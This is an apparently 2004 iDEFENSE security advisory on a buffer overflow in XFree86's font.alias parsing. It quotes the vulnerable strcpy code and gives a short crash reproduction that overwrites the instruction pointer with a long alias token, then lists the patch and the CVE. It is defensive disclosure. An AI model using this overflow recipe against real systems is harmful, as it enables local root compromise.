Public Vulnerability Reports

XFree86 Font Information File Buffer Overflow

02.10.04

BACKGROUND

In short, XFree86 is an open source X11-based desktop infrastructure.

XFree86, provides a client/server interface between display hardware
(the mouse, keyboard, and video displays) and the desktop environment
while also providing both the windowing infrastructure and a
standardized application interface (API). XFree86 is platform
independent, network-transparent and extensible.

DESCRIPTION

Exploitation of a buffer overflow in The XFree86 Project Inc.'s XFree86
X Window System allows local attackers to gain root privileges.

The problem specifically exists in the parsing of the 'font.alias' file.
The X server (running as root) fails to check the length of user
provided input. A malicious user may craft a malformed 'font.alias'
file causing a buffer overflow upon parsing, eventually leading to the
execution of arbitrary code.

From XFree86-4.2.1/xc/lib/font/fontfile/dirfile.c:

ReadFontAlias(char *directory, Bool isFile, FontDirectoryPtr *pdir)
{
char alias[MAXFONTNAMELEN];

The above code sets up the buffer that will be exploited directly in
front of the frame pointer and return address.

while (status == Successful) {
token = lexAlias(file, &lexToken);

lexAlias() reads an arbitrary length token from file, and returns a
pointer to it in &lexToken, without performing any bounds checking.
It then returns NAME when it reaches whitespace.

switch (token) {
case NAME:
strcpy(alias, lexToken);

If lexToken is longer than MAXFONTNAMELEN (1024 chars) an overflow
occurs.

To reproduce the overflow on the command line:

# cat > fonts.dir <<EOF
1
word.bdf -misc-fixed-medium-r-semicondensed--13-120-75-75-c-60-iso8859-1
EOF
# perl -e 'print "0" x 1024 . "A" x 96 . "n"' > fonts.alias
# X :0 -fp $PWD

{Some output removed}

Caught signal 11.

Server aborting...

eip: 41414141 eflags: 00003282

{Some output removed}

Code: Segmentation fault (core dumped)
#

ANALYSIS

Successful exploitation requires that an attacker be able to execute
commands in the X11 subsystem. This can be done either by having console
access to the target or through a remote exploit against any X client
program such as a web-browser, mail-reader or game. Successful
exploitation yields root access.

DETECTION

iDEFENSE has confirmed the existence of this vulnerability in XFree86
versions 4.1.0 to the current version 4.3.0. It is suspected that
earlier versions are vulnerable as well.

VENDOR RESPONSE

The patch for the problem is at
ftp://ftp.xfree86.org/pub/XFree86/4.3.0/fixes/fontfile.diff and
it is applicable to all affected XFree86 versions.

The change log entry is:

   794. Fix font alias overrun.

See also http://www.xfree86.org/cvs/changes/ for changelog extracts for
the trunk and several branches.  The patch has been applied to the
trunk and all of the 4.x release branches.

CVE INFORMATION

The Mitre Corp.'s Common Vulnerabilities and Exposures (CVE) Project
has assigned CAN-2004-0083 to this issue.

CREDIT

Greg MacManus (iDEFENSE Labs) is credited with the discovery of this
vulnerability.